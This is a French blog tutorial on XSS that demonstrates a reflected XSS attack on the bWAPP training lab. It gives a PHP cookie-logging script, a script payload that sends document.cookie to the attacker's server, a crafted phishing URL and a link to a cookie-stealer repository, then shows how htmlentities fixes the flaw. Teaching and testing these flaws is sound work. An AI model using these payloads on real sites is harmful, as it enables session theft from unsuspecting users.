Les failles XSS

La faille xss, c’est quoi ?

La faille xss, de son nom Cross Site Scripting est une faille qui se situe sur les sites web.

Le principe de cette faille est d’injecter un code malveillant en JavaScript. On peut récupère les cookies ou rediriger les personne vers un site de phishing et  d’autre chose J.

En gros la faille XSS permet d’exécuter des scripts du coté client. Ceci signifie que vous ne pouvez exécuter que du JAVASCRIPT, HTML et d’autres langages qui ne vont s’exécuter que chez celui qui lance le script et pas sur le serveur directement.

Il existe deux types de faille xss :

Attaques XSS stockées (Stored XSS) :

celle-ci est assez facile à comprendre.
Tout d’abord, le pirate va envoyer un contenu malicieux dans un application web, qui va le stocker (par exemple dans une base de données). Ensuite, le contenu malicieux sera retourné dans le navigateur des autres utilisateurs lorsqu’ils iront sur le site.
Prenons pour exemple un forum, ou un blog. L’attaquant va envoyer un message ou un commentaire contenant le contenu malicieux. Lorsque les autres utilisateurs vont se rendre sur le forum ou le blog, ce contenu sera là, à chaque fois qu’ils afficheront la page.

Cette première variante des attaques XSS est appelée “stockée ”, car le contenu malicieux est stocké sur le serveur du site web et donc toujours retourné aux autres utilisateurs.

Attaques XSS reflétées (reflected XSS) :

ce deuxième type de faille XSS ne stocke pas le contenu malicieux sur le serveur web. Le contenu est par exemple livré à la victime via une URL qui le contient (envoyée par e-mail ou par un autre moyen):
Imaginez un site web vous permettant de voir les prévisions météo pour une ville donnée. Le nom de la ville est fourni dans l’URL de la page, comme ceci :
www.victim-website-example.com/previsionsmeteo?ville=Lyon

La page va donc vous afficher les prévisions météo pour Lyon, en réutilisant le nom de la ville qui se trouve dans l’URL, pour afficher “Voilà les prévisions météo pour Lyon :
Le pirate pourra utiliser cet URL pour fournir un contenu malicieux comme ceci: www.victim-website-example.com/previsionsmeteo?ville=Lyon[contenu malicieux]

Avec un tel contenu dans l’URL, le serveur web va donc afficher les prévisions météo pour Lyon, mais va potentiellement aussi inclure le contenu dangereux dans la page. L’attaque est réussie.

Est si on passait à la pratique ?

Accéder a bwapp est aller dans la section « cross site scription GET »

La page comprend deux sections, l’utilisateur doit rentrer son nom est sont prénom est une fois exécuter la page affiche welcome suivi de son nom est prénom.

 

pour détecter une faille xss, on va essayer d’injecter du code html dans la section « Last name »  pour voir si il va étre interpreté.

 

Bingo ! On peut voir que notre code html a été interpréter. On sait que la section Last name ne filtre pas les caractère html, on va essayer d’injecter du JavaScript.

Ajouter dans la section last name  » 

Si vous voyez une fenêtre de dialogue s’ouvrir, c’est qu’il  interprète bien le JavaScript est qu’il a bien une faille xss.

Ok, maintenant, on sait que le JavaScript n’est pas filtré, on va essayer de faire en sorte de récupérer les cookies d’un utilisateur en forgeant une URL qui exploite la faille xss.

Dans un premier tant on va créer un script en php qui récupère les cookies, qu’on hébergera sur notre serveur.

Crée un document texte et insérer ceci :

<?php

$cookie = $_GET[‘c’];
$file = fopen(‘cookielog.txt’, ‘w’);                           //ouvre un fichier nommer cookielog.txt si il existe pas il va le crée
fwrite($file, $cookie . « \n\n »);                               // copie les donné recu dans la variable $cookie dans le fichier cookielog.txt
// echo  » <script>location.href=’http://www.google.com’;</script> »;           // suprimer les commentaire si vous voulez que l’utilisateur soit rediriger vers google une fois les cookie derober

?>

 

Enregistrer ce fichier sous le nom de steal.php est placé le sur votre serveur ou hébergeur.

Maintenant, on va injecter le code JavaScript qui va nous permettre de récupérer les cookies. Dans la section « last name » entrer :

<script>location.href=’http://127.0.0.1/steal.php?c=’+escape(document.cookie)</script>

une fois éxecuté on peut voir qu’on est redirigé vers la page de steal.php qui est héberger sur mon serveur local.

 

et si on fait un tour sur mon serveur on peut voir qu’un fichier nommer cookielog.txt a été crée.

 

 

 

et si on ouvre le fichier on peut voir notre cookie 🙂

 

Bon maintenant, on sait que notre script fonctionne, donc le but va être d’analyser la requête http envoyer au serveur pour récupère l’URL ou le script a été injecté.Il existe plusieurs façons d’analyser les requête http, mais pour ma part, j’utiliserais le logiciels burpsuite.

Démarrer burpsuite et intercepter la requête http.

 

Comme vous pouvez le voir notre URL va être : /bWAPP/xss_get.php?firstname=test&lastname=%3Cscript%3Elocation.href%3D%27http%3A%2F%2F127.0.0.1%2Fsteal.php%3Fc%3D%27%2Bescape%28document.cookie%29%3C%2Fscript%3E&form=submit

On va mettre le nom du serveur, ou dans mon cas l’ip, car je suis en local, l’URL va être :  http:/192.254.7.80/bWAPP/xss_get.php?firstname=test&lastname=%3Cscript%3Elocation.href%3D%27http%3A%2F%2F127.0.0.1%2Fsteal.php%3Fc%3D%27%2Bescape%28document.cookie%29%3C%2Fscript%3E&form=submit

Voilà ! notre lien est près à être envoyé.

 

comment corriger la faille XSS ?

Plusieurs techniques permettent d’éviter le XSS :

  • Utiliser la fonction htmlspecialchars(), il convertit les caractères spéciaux en entités HTML.
  • Utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu’elle filtre tout les caractères equivalents au codage html ou javascript.
  • Utiliser strip_tags(), cette fonction supprime toutes les balises.

 

Analysons le code PHP de notre page:

 

  <?php

   if(isset($_GET[« firstname »]) && isset($_GET[« lastname »]))
    {   
        $firstname = $_GET[« firstname »];
        $lastname = $_GET[« lastname »];    
        if($firstname == «  » or $lastname == «  »)
        {
            echo « <font color=\ »red\ »>Please enter both fields…</font> »;       
        }
        else            
        { 
            echo « Welcome  » . xss($firstname) .  »  » . xss($lastname);   
        }
    }

    ?>

 

si on ajoute la protection :

  <?php

   if(isset($_GET[« firstname »]) && isset($_GET[« lastname »]))
    {   
        $firstname = htmlentities($_GET[« firstname »]);
        $lastname = htmlentities($_GET[« lastname »]);    
        if($firstname == «  » or $lastname == «  »)
        {
            echo « <font color=\ »red\ »>Please enter both fields…</font> »;       
        }
        else            
        { 
            echo « Welcome  » . xss($firstname) .  »  » . xss($lastname);   
        }
    }

    ?>

ok maitenant retournons sur notre page et essayons d’injecter du javascript.

 

comme vous pouvez le voir le javascript a été filtré et le html aussi 😉

 

COOKIE-STEALER

lien : https://github.com/Xyl2k/Cookie-stealer

 

 

 

 

 

 

 

 

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *